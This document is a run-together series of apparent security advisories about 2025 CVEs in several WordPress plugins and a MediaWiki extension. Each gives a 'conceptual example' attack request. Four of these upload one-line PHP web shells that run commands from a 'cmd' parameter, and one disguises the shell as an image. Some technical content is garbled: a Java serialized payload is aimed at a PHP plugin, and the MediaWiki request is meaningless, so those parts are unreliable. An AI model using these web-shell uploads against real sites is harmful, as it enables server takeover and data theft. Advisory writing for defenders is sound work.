Author: Ameeba

Overview

A critical vulnerability has been discovered in the WooCommerce Product Multi-Action, a popular plugin used by BestWpDeveloper. This vulnerability, identified as CVE-2025-49417, carries a high severity rating due to its potential to enable unauthorized object injection, leading to system compromise or data leakage. Any organization or individual utilizing this plugin, particularly versions through 1.3, is at risk, underscoring the urgent need for mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-49417
Severity: Critical (9.8 – CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

BestWpDeveloper WooCommerce Product Multi-Action | n/a through 1.3

How the Exploit Works

The vulnerability arises from the plugin’s mishandling of data deserialization. Specifically, it fails to properly validate and sanitize user-supplied data before deserializing it. This allows an attacker to inject a malicious serialized object, which, when deserialized, can execute arbitrary code. This could lead to complete system compromise and potential data leakage.

Conceptual Example Code

An attacker could exploit the vulnerability by sending a malicious HTTP request such as the one below:

POST /wp-content/plugins/woocommerce-product-multi-action/vulnerable-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": "rO0ABXNyACNvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuNGs..."
}

In this example, “malicious_payload” is a base64-encoded serialized Java object that contains malicious code. When the server deserializes this object, the malicious code is executed.

Recommended Mitigation

The best course of action to mitigate this vulnerability is to apply the vendor-supplied patch. For those unable to immediately apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by blocking or alerting on attempts to exploit this vulnerability. However, these are temporary measures and the patch should be applied as soon as possible to fully secure your systems.

Overview

Every so often, a vulnerability is discovered that has the potential to compromise system security or lead to data leakage on a large scale. One such vulnerability, known as CVE-2025-49414, has been identified in FW Gallery, a widely used platform developed by Fastw3b LLC. Given the high severity of this vulnerability and the potential for exploitation by malicious actors, it is critical that users of FW Gallery are aware of the issue and take immediate steps to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-49414
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unrestricted upload of file with dangerous type could lead to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

FW Gallery | Versions through 8.0.0

How the Exploit Works

The vulnerability allows an attacker to upload a malicious file of any type without restriction. The uploaded file could contain a script or executable that, when run, has the potential to compromise the system or expose sensitive data. This is possible due to insufficient checks and validations on the file upload process in FW Gallery.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could involve a malicious actor uploading a PHP file containing a shell command. A simplified example of such an HTTP POST request might look like this:

POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW

In this example, the uploaded `malicious.php` file contains a command that causes the server to execute any command passed in the ‘cmd’ URL parameter. If the server processes this file, the attacker could run arbitrary commands on the server, leading to a severe compromise.

Prevention and Mitigation

Users of FW Gallery are advised to apply the vendor-supplied patch to mitigate this vulnerability. In the absence of a patch, or until one can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to help prevent exploitation. Regular monitoring and audits of server logs can also help identify any potential malicious activity.

Overview

Cybersecurity threats are a constant concern in the world of digital communications and database management. One such threat has recently been identified in the Wikimedia Foundation’s Mediawiki – Scribunto Extension, and it’s essential for users to be aware of this vulnerability and take the necessary steps to mitigate it. This security flaw, identified as CVE-2025-53501, is an Improper Access Control vulnerability. It arises from the system not adequately constraining authorization, potentially leaving the door open for unauthorized access and compromising the integrity of the system.
The severity of this vulnerability cannot be overstated. It affects a wide range of Mediawiki – Scribunto Extension versions, posing a potential threat to a significant user base. The potential consequences of this flaw are considerable, including system compromise and data leakage. Therefore, addressing this vulnerability should be a top priority for all affected users.

Vulnerability Summary

CVE ID: CVE-2025-53501
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Mediawiki – Scribunto Extension | 1.39.X before 1.39.12
Mediawiki – Scribunto Extension | 1.42.X before 1.42.7
Mediawiki – Scribunto Extension | 1.43.X before 1.43.2

How the Exploit Works

The vulnerability lies within the access control mechanism of the Mediawiki – Scribunto Extension. Due to insufficient constraints on authorization, an attacker can potentially access areas or functions of the system that are meant to be restricted. This could allow the attacker to manipulate the system, gain unauthorized information, or even potentially compromise the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /wiki/Special:AllPages HTTP/1.1
Host: target.example.com
Authorization: Bearer <token>
{ "malicious_payload": "..." }

In this hypothetical scenario, an unauthorized user sends a request to access a restricted page, “Special:AllPages. The malicious payload in the request might be crafted to exploit the improper access control vulnerability, potentially granting the attacker unauthorized system access.
Please note that this example is purely for illustrative purposes. The actual exploitation of this vulnerability would require a precise understanding of the system’s configuration and specific weaknesses that can be exploited.

Mitigation Guidance

The most effective solution to this vulnerability is to apply the vendor-provided patch. Users of Mediawiki – Scribunto Extension should upgrade to versions 1.39.12, 1.42.7, or 1.43.2 (or later), depending on their current version. In the interim, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.

Overview

The cybersecurity world has woken up to a new and severe threat identified as CVE-2025-30933. This vulnerability exists in LiquidThemes’ LogisticsHub, from versions n/a through 1.1.6, and it allows for unrestricted upload of files with dangerous types. Essentially, this susceptibility enables attackers to upload Web Shells, which are executable scripts, onto a Web Server, potentially leading to system compromise or data leakage. This vulnerability is of critical concern due to its potential for widespread damage, affecting anyone using LogisticsHub within the mentioned version range.

Vulnerability Summary

CVE ID: CVE-2025-30933
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LogisticsHub | n/a through 1.1.6

How the Exploit Works

The exploit takes advantage of the lack of restrictions on the file types that can be uploaded to LogisticsHub. An attacker can upload a web shell, which is a script that enables remote administration, onto the web server. This web shell can then be used to run arbitrary commands on the server, allowing the attacker to compromise the system or leak sensitive data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request to upload a malicious PHP web shell file to the server:

POST /upload HTTP/1.1
Host: vulnerable-logisticshub.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the “evil.php” file contains a simple PHP web shell that allows execution of arbitrary commands on the server. Once uploaded to the server, the attacker could execute commands by visiting the URL of the uploaded shell and passing the desired command as a query parameter.

Mitigation

LogisticsHub or other affected parties should apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy to detect and block attempts to exploit this vulnerability.

Overview

The CVE-2025-28951 is an Unrestricted Upload of File with Dangerous Type vulnerability found in CreedAlly’s Bulk Featured Image plugin. The vulnerability permits an attacker to upload a web shell to a web server, which could potentially lead to a total system compromise or data leakage. Given the severity of this vulnerability – a CVSS score of 9.1 – the implications of an exploit can be dire for any website using the affected versions of this plugin.

Vulnerability Summary

CVE ID: CVE-2025-28951
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

CreedAlly Bulk Featured Image | Up to and including 1.2.1

How the Exploit Works

The exploit takes advantage of the inadequate file validation mechanism in CreedAlly’s Bulk Featured Image plugin. An attacker can upload a web shell disguised as a legitimate file. Once the web shell is uploaded, it provides the attacker with remote control over the server. The attacker can then execute arbitrary commands, modify existing files, and even potentially access sensitive data, leading to a potential system compromise.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

POST /upload_file HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker is uploading a file named “shell.php”, which is a web shell, disguised as an image file (jpeg). The web shell permits the attacker to execute arbitrary commands on the server by calling the ‘cmd’ GET parameter.

Countermeasures and Mitigation

Given the severity of this vulnerability, immediate action is required. Users are advised to apply the latest patch provided by the vendor. In the absence of a patch, or as a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used to detect and block attempts to exploit this vulnerability.

Overview

A critical vulnerability, CVE-2025-23968, has been discovered in the AiBud WP plugin provided by WPCenter. This vulnerability allows unrestricted upload of files with dangerous types, essentially enabling potential attackers to upload a web shell to a web server. Web shells are malicious scripts used by an attacker with the intent to escalate and maintain persistent access on an already compromised web application. The AiBud WP plugin, widely used for various website functionalities, becomes a significant attack vector, putting numerous websites at risk of compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-23968
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPCenter AiBud WP | Up to and including 1.8.5

How the Exploit Works

This vulnerability occurs due to inadequate security checks when handling file uploads in the AiBud WP plugin. By exploiting this flaw, an attacker can upload arbitrary files, including PHP scripts, to execute server-side commands and gain unauthorized access to the server’s file system. This can lead to a full system compromise, data theft, and even the launching of further attacks against other related systems.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /wp-content/plugins/aibud-wp/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

In this example, the attacker sends a POST request to the vulnerable upload endpoint of the AiBud WP plugin (`upload.php`). The request contains a multipart data payload with a PHP web shell (`shell.php`). If the request is successful, the web shell is uploaded to the server and the attacker can execute arbitrary system commands.

Mitigation Guidance

It’s strongly recommended to apply vendor patches as soon as they’re available. If a patch isn’t available or can’t be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) may help mitigate the vulnerability temporarily. However, these are not long-term solutions and the system remains at risk until the patch is applied. Security best practices also recommend regular system and application updates, rigorous input validation, and least privilege practices.